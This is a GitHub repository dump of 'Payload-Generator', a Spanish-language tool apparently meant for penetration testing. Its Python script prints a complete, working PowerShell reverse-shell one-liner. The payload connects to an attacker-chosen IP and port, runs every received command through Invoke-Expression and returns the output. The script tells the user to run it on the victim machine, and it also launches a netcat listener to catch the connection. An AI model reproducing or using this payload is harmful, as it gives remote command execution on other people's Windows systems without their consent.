├── Payload Generator.png ├── README.md └── payload_generator.py /Payload Generator.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ccyl13/Payload-Generator/9d0c8c74af619ea623165993bcc114ba9f949b3d/Payload Generator.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Payload-Generator 2 | 3 | Payload-Generator es una herramienta de generación de payloads de red y escucha de conexiones en sistemas remotos. Desarrollada para ambientes de pruebas de penetración, permite crear y ejecutar payloads desde una máquina atacante hacia una máquina víctima usando PowerShell. 4 | 5 | ## Características 6 | 7 | - Generación de payloads personalizados 8 | - Escucha de conexiones en tiempo real 9 | - Interfaz de comandos intuitiva 10 | - Ejecución automatizada de `netcat` para escuchar conexiones 11 | 12 | ## Capturas de Pantalla 13 | 14 | **Payload Generator** 15 | 16 | ![Inicio de Payload-Generator](https://github.com/ccyl13/Payload-Generator/blob/main/Payload%20Generator.png?raw=true) 17 | 18 | 19 | ## Dependencias 20 | 21 | La herramienta está desarrollada en Python 3 y requiere las siguientes dependencias: 22 | - `colorama` para los colores de la interfaz en la línea de comandos 23 | - `netcat` para escuchar conexiones de red en la máquina atacante 24 | 25 | Instalación: 26 | 27 | ```bash 28 | pip install colorama 29 | git clone https://github.com/ccyl13/Payload-Generator.git 30 | cd Payload-Generator 31 | chmod +x payload_generator.py 32 | pip install -r requirements.txt 33 | python3 payload_generator.py 34 | 35 | -------------------------------------------------------------------------------- /payload_generator.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | from colorama import Fore, Style, init 3 | import sys 4 | 5 | # Inicializar colorama para el manejo de colores en terminal 6 | init(autoreset=True) 7 | 8 | def display_banner(): 9 | # Banner y título de la herramienta 10 | print(Fore.CYAN + Style.BRIGHT + r""" 11 | ██████╗ █████╗ ██╗ ██╗██╗ ██████╗ █████╗ ██████╗ ██████╗ ███████╗███╗ ██╗███████╗██████╗ █████╗ ████████╗ ██████╗ ██████╗ 12 | ██╔══██╗██╔══██╗╚██╗ ██╔╝██║ ██╔═══██╗██╔══██╗██╔══██╗ ██╔════╝ ██╔════╝████╗ ██║██╔════╝██╔══██╗██╔══██╗╚══██╔══╝██╔═══██╗██╔══██╗ 13 | ██████╔╝███████║ ╚████╔╝ ██║ ██║ ██║███████║██║ ██║ ██║ ███╗█████╗ ██╔██╗ ██║█████╗ ██████╔╝███████║ ██║ ██║ ██║██████╔╝ 14 | ██╔═══╝ ██╔══██║ ╚██╔╝ ██║ ██║ ██║██╔══██║██║ ██║ ██║ ██║██╔══╝ ██║╚██╗██║██╔══╝ ██╔══██╗██╔══██║ ██║ ██║ ██║██╔══██╗ 15 | ██║ ██║ ██║ ██║ ███████╗╚██████╔╝██║ ██║██████╔╝ ╚██████╔╝███████╗██║ ╚████║███████╗██║ ██║██║ ██║ ██║ ╚██████╔╝██║ ██║ 16 | ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ 17 | """) 18 | 19 | print(Fore.RED + Style.BRIGHT + r""" 20 | DEVELOPED BY: 21 | 22 | _____ _ ___ _ _ _ _ 23 | |_ _| | |_ ___ _ __ __ _ ___ / _ \ _ _ ___ (_) | | /_\ | | __ __ __ _ _ _ ___ ___ 24 | | | | ' \ / _ \ | ' \ / _` | (_-< | (_) | | ' \ / -_) | | | | / _ \ | | \ V / / _` | | '_| / -_) |_ / 25 | |_| |_||_| \___/ |_|_|_| \__,_| /__/ \___/ |_||_| \___| |_| |_| /_/ \_\ |_| \_/ \__,_| |_| \___| /__| 26 | """) 27 | 28 | # Imagen en ASCII, centrada y ampliada 29 | print(Fore.WHITE + Style.BRIGHT + r""" 30 | ⠄⠄⢀⣀⣤⣤⣴⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣤⣤⣄⣀⠄⠄ 31 | ⠄⠠⣿⢿⣿⢿⣯⣿⣽⢯⣟⡿⣽⢯⣿⣽⣯⣿⣽⣟⣟⣗⠄ 32 | ⠄⢸⡻⠟⡚⡛⠚⠺⢟⣿⣗⣿⢽⡿⡻⠇⠓⠓⠓⠫⢷⢳⠄ 33 | ⠄⢼⡺⡽⣟⡿⣿⣦⡀⡈⣫⣿⡏⠁⢀⣰⣾⢿⣟⢟⢮⢱⡀ 34 | ⠄⣳⠑⠝⠌⠊⠃⠃⢏⢆⣺⣿⣧⢘⠎⠋⠊⠑⠨⠣⠑⣕⠂ 35 | ⠄⢷⣿⣯⣦⣶⣶⣶⡶⡯⣿⣿⡯⣟⣶⣶⣶⣶⣦⣧⣷⣾⠄ 36 | ⠄⢹⢻⢯⢟⣟⢿⢯⢿⡽⣯⣿⡯⣗⡿⡽⡯⣟⡯⣟⠯⡻⠂ 37 | ⠄⠢⡑⡑⠝⠜⣑⣭⠻⢝⠿⡿⡯⠫⠯⣭⣊⠪⢊⠢⢑⠰⠁ 38 | ⠄⠈⢹⣔⡘⢿⣿⣿⣶⠄⠁⠑⠈⠠⣵⣿⡿⡯⠂⣠⡞⡈⠄ 39 | ⠄⠄⠨⢻⡆⢄⣀⢩⠄⠄⠴⠕⠄⠄⠈⠉⣀⠠⢢⡟⢌⠄⠄ 40 | ⠄⠄⠈⠐⡝⣧⠈⡉⡙⢛⠛⠛⠛⠛⢋⠉⡀⡼⠩⡂⠁⠄⠄ 41 | ⠄⠄⠄⠄⠈⠪⡻⣔⣮⣷⡆⠄⢰⣿⢦⣣⢞⠅⠁⠄⠄⠄⠄ 42 | ⠄⠄⠄⠄⠄⠄⠈⠓⣷⣿⡅⠄⢸⣿⡗⠇⠁⠄⠄⠄⠄⠄⠄ 43 | """) 44 | 45 | def generate_payload(ip, port): 46 | # Genera el payload 47 | payload = ( 48 | f"$X1=\"{ip}\";$X2={port};$X3=New-Object Net.Sockets.TCPClient($X1,$X2);" 49 | "$X4=$X3.GetStream();$Y1=New-Object IO.StreamReader($X4);$Y2=New-Object " 50 | "IO.StreamWriter($X4);$Y2.AutoFlush=$true;$Z1=New-Object Byte[] 1024;" 51 | "while($X3.Connected){while($X4.DataAvailable){$D1=$X4.Read($Z1,0,$Z1.Length);" 52 | "$J1=([Text.Encoding]::UTF8).GetString($Z1,0,$D1)}if($X3.Connected -and $J1.Length -gt 0){" 53 | "$D2=try{Invoke-Expression $J1 2>&1}catch{$_};$Y2.Write(\"$D2`n\");$J1=$null}};" 54 | "$X3.Close();$X4.Close();$Y1.Close();$Y2.Close()" 55 | ) 56 | print("\nEste es el payload generado:") 57 | print(payload) 58 | print("\nCopia este código y ejecútalo en la víctima (en PowerShell).\n") 59 | 60 | def start_listener_in_new_terminal(port): 61 | print(f"Iniciando listener en el puerto {port} en una nueva terminal...") 62 | subprocess.Popen(["x-terminal-emulator", "-e", f"nc -lvnp {port}"]) 63 | 64 | def main(): 65 | display_banner() 66 | 67 | while True: 68 | print("\n[1] Generar Payload") 69 | print("[2] Iniciar Listener en Nueva Terminal") 70 | print("[3] Configuraciones Avanzadas (en desarrollo)") 71 | print("[4] Salir") 72 | 73 | choice = input("\nSeleccione una opción: ") 74 | 75 | if choice == '1': 76 | ip = input("Introduce la IP de la máquina atacante (Kali): ") 77 | port = input("Introduce el puerto en el que la máquina atacante escuchará: ") 78 | generate_payload(ip, port) 79 | elif choice == '2': 80 | port = input("Introduce el puerto para el listener: ") 81 | start_listener_in_new_terminal(port) 82 | elif choice == '4': 83 | print("Saliendo...") 84 | sys.exit() 85 | else: 86 | print("Opción no válida, por favor intenta de nuevo.") 87 | 88 | if __name__ == "__main__": 89 | main() 90 | --------------------------------------------------------------------------------